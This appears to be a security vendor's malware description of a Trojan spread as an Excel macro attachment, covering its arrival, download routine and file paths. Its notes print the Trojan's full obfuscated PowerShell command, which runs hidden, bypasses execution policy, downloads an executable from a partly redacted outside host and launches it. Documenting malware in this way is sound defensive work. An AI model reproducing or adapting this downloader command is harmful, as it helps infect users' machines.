X2KM_POWLOAD.TIAOEGS

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}na.com/trms

It saves the files it downloads using the following names:

• %Desktop%\{random number}.exe

(Note: %Desktop% is the desktop folder, where it usually is C:\Documents and Settings\{user name}\Desktop in Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\Desktop in Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

NOTES:
The Microsoft Excel file contains the following fake details luring users to enable macro content:

This Trojan uses the following Powershell commands to download and execute a malicious file:
pOWErSheLl -nopRoFi -WIn hiDdeN -NOLo -NOnInteRA -eXeCUTIoNp bYpass "$7d0mK6 = [TyPE](\"{1}{0}{3}{2}\" -f 'on','ENVIr','Nt','mE') ; do{&(\"{1}{0}\" -f'ep','sle') 33;${D`es} = $7d0mk6::gETfoLDERpATh(\"Desktop\");(&(\"{0}{1}{2}\" -f'Ne','w-','Object') (\"{0}{2}{1}{3}{5}{6}{4}\"-f'Sy','te','s','m.Ne','ent','t.Web','Cli')).dowNLoaDFilE.iNVoKE(\"http://{BLOCKED}na.com/trms\",\"$Des\{Random numbers}.exe\")}while(!${?});&(\"{0}{2}{3}{1}\"-f 'St','ocess','art','-Pr') $Des\{Random numbers}.exe